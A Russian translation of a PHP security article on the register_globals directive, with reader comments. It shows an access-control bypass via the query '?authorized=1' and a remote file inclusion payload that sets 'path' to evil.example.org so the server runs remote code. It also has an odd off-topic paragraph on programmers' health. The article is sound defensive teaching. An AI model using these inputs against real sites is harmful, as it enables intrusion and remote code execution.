Статьи ⇒ PHP ⇒ Register Globals

Register Globals

Опубликовано: 3 мар 2011 в 22:22
Автор: Chris Shiflett  Перевод: freeeeez 

Директива register_globals отключена по умолчанию в версии PHP 4.2.0 и выше. Хотя она не представляет собой уязвимость системы безопасности, это риск для безопасности в общем. Поэтому вы всегда должны разрабатывать приложения с выключенным register_globals.

Так какую же опасность она представляет? Вот хороший пример из PHP manual:

<?php

if (authenticated_user()) 
{ 
    $authorized = true; 
} 

if ($authorized) 
{ 
    include "/highly/sensitive/data.php"; 
} 

?>

Если при register_globals = ON добавить к запросу ?authorized=1, то можно обойти систему контроля доступа. Конечно, эта уязвимость допущена по вине разработчика, а не register_globals, однако это указывает на повышенный риск, связанный с данной директивой. Без этого обычные глобальные переменные (такие как $authorized в примере) не зависят от данных, представленных пользователем. Поэтому лучше всего инициализировать все переменные и разрабатывать скрипт совместно с error_reporting(E_ALL), так что использование неинициализированной переменной не будет забыто в процессе разработки.

Другим примером, который показывает, как register_globals может наделать проблем, является использование динамического пути:

<?php

include '$path/script.php';

?>

При register_globals = ON хакер может ввести ?path=http%3A%2F%2Fevil.example.org%2F для того, чтобы приравнять этот запрос к следующему:

<?php

include 'http://evil.example.org/?path=http://evil.example.org/script.php';

?>

Тем самым скрипт подключит http://evil.example.org/ так же, как если бы это был локальный файл. Это основные уязвимости в системе безопасности, которые были обнаружены в некоторых популярных приложених с открытым кодом.

Конечно инициализация $path поможет избежать подобного риска, но все-таки лучше отключить register_globals совсем. На большинстве современных хостинг-провайдеров эта директива отключена по умолчанию. Также ее можно отключить и вручную. Для этого в файле .htaccess следует прописать следующее:

php_flag register_globals off

При отключении данной директивы вы не допустите ошибок, приведенных в данной статье.

Хотелось бы напоследок сказать пару слов о здоровье. Многие программисты болеют заболеваниями опорно-двигательного аппарата. Это связано в первую очередь с малоподвижным, сидячим образом жизни. Для профилактики возможных заболеваний следует выполнять упражнения для опорно-двигательного аппарата по различным методикам. Упражнения укрепляют сосудистую систему, улучшают кровообращение и общее самочувствие.

Источник: PHP Security Consortium внешняя ссылка
4 комментария
64 691 просмотр


#1 Альберт, 5 июн 2013 в 22:35
Отдельное спасибо за совет для здоровья, очень важно)
#2 freeeeez, 5 июн 2013 в 22:41
Альберт, а вы подхалим!)
#3 Antonova Alexa , 7 окт 2015 в 11:17
Помогло! Автору благодарность!
#4 сеошник, 20 мар 2017 в 14:18
Автору респект и уважение за статью!

Оставить комментарий:

Имя:
Email:
Сайт:
Комментарий:

Допустимые теги: <em> • <strong> • <u> • <sub> • <sup> • <blockquote>

Проверочный код:

Введите проверочный код, для подтверждения, что вы не робот.
P.S. Если вы робот, то, к сожалению, вы
не сможете прочитать символы с картинки.